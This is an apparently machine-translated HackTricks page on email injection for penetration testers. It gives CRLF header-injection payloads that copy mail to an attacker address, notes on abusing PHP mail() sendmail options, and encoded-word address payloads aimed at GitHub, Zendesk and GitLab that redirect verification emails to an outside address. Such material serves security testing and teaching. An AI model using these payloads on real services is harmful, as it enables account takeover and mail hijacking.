Email Injections
Reading time: 11 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
注入已发送的电子邮件
在发件人参数后注入 Cc 和 Bcc
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
消息将被发送到收件人和recipient1账户。
注入参数
From:sender@domain.com%0ATo:attacker@domain.com
消息将发送给原始收件人和攻击者账户。
注入主题参数
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
假主题将被添加到原始主题中,在某些情况下将替换它。这取决于邮件服务的行为。
更改消息正文
注入两个换行符,然后写下您的消息以更改消息的正文。
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
PHP mail() 函数利用
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
第五个参数 ($additional_parameters)
本节将基于假设攻击者控制此参数的情况下如何滥用此参数。
此参数将被添加到 PHP 用于调用二进制 sendmail 的命令行中。然而,它将通过函数 escapeshellcmd($additional_parameters)
进行清理。
在这种情况下,攻击者可以注入 sendmail 的提取参数。
/usr/sbin/sendmail 实现中的差异
sendmail 接口是由系统上安装的 MTA 邮件软件(Sendmail、Postfix、Exim 等)提供的。尽管出于兼容性原因,基本功能(如 -t -i -f 参数)保持相同,但其他功能和参数根据安装的 MTA 有很大差异。
以下是 sendmail 命令/接口的不同手册页的一些示例:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
根据sendmail 二进制文件的来源,发现了不同的选项来滥用它们并泄露文件或甚至执行任意命令。查看如何在 https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
在电子邮件名称中注入
caution
请注意,如果您设法在具有任意域名的服务中创建帐户(如 Github、Gitlab、CloudFlare Zero trust...)并通过在您的邮件地址中接收验证电子邮件来验证它,您可能能够访问受害公司敏感位置
被忽略的电子邮件部分
符号:+、- 和 {} 在少数情况下可以用于标记,并被大多数电子邮件服务器忽略
- 例如 john.doe+intigriti@example.com → john.doe@example.com
括号 () 中的注释 在开头或结尾也会被忽略
- 例如 john.doe(intigriti)@example.com → john.doe@example.com
白名单绕过
引号
IP
您还可以使用方括号中的 IP 作为域名:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
电子邮件编码
如 本研究 中所述,电子邮件名称也可以包含编码字符:
- PHP 256 溢出:PHP
chr
函数将继续向字符添加 256,直到变为正数,然后进行操作%256
。 String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @
tip
此技巧的目的是以 RCPT TO:<"collab@psres.net>collab"@example.com>
结束注入
这将把验证电子邮件发送到与预期不同的电子邮件地址(因此在电子邮件名称中引入另一个电子邮件地址并在发送电子邮件时破坏语法)
不同的编码:
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
有效载荷:
- Github:
=?x?q?collab=40psres.net=3e=00?=foo@example.com
- 注意编码的
@
为 =40,编码的>
为=3e
和null
为=00
- 它将把验证邮件发送到
collab@psres.net
- Zendesk:
"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com
- 与之前相同的技巧,但在开头添加了一些常规引号,并在编码的
@
之前添加了编码引号=22
,然后在下一个电子邮件之前开始和结束一些引号,以修复 Zendesk 内部使用的语法 - 它将把验证邮件发送到
collab@psres.net
- Gitlab:
=?x?q?collab=40psres.net_?=foo@example.com
- 注意使用下划线作为分隔地址的空格
- 它将把验证邮件发送到
collab@psres.net
- Punycode: 使用 Punycode 可以在 Joomla 中注入标签
<style
并利用它通过 CSS 外泄窃取 CSRF 令牌。
工具
- 有一个 Burp Suite Turbo Intruder 脚本 用于模糊这些组合,以尝试攻击电子邮件格式。该脚本已经包含潜在的有效组合。
- 还可以使用 Hackvertor 创建电子邮件拆分攻击
其他漏洞
第三方 SSO
XSS
一些服务,如 github 或 salesforce 允许您创建带有 XSS 有效载荷的电子邮件地址。如果您可以 使用这些提供商登录其他服务,而这些服务 没有正确清理 电子邮件,您可能会导致 XSS。
账户接管
如果 SSO 服务 允许您 创建一个不验证给定电子邮件地址的账户(如 salesforce),然后您可以使用该账户 登录到一个信任 salesforce 的不同服务,您可能会访问任何账户。
注意,salesforce 指示给定的电子邮件是否经过验证,但应用程序应该考虑这一信息。
回复至
您可以使用 From: company.com 和 Replay-To: attacker.com 发送电子邮件,如果由于电子邮件是 从 内部地址发送的而发送了任何 自动回复,则 攻击者 可能能够 接收 该 响应。
硬退信率
某些服务,如 AWS,实施一个称为 硬退信率 的阈值,通常设置为 10%。这是一个关键指标,尤其对于电子邮件投递服务。当超过此比率时,服务(如 AWS 的电子邮件服务)可能会被暂停或阻止。
硬退信 是指 电子邮件 被退回给发件人,因为收件人的地址无效或不存在。这可能由于多种原因发生,例如 电子邮件 被发送到不存在的地址、一个不真实的域名,或收件服务器拒绝接受 电子邮件。
在 AWS 的上下文中,如果您发送 1000 封电子邮件,其中 100 封导致硬退信(由于无效地址或域名等原因),这将意味着 10% 的硬退信率。达到或超过此比率可能会触发 AWS SES(简单电子邮件服务)阻止或暂停您的电子邮件发送能力。
保持低硬退信率对于确保不间断的电子邮件服务和维护发件人声誉至关重要。监控和管理您的邮件列表中电子邮件地址的质量可以显著帮助实现这一目标。
有关更详细的信息,可以参考 AWS 关于处理退信和投诉的官方文档 AWS SES Bounce Handling。
参考文献
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。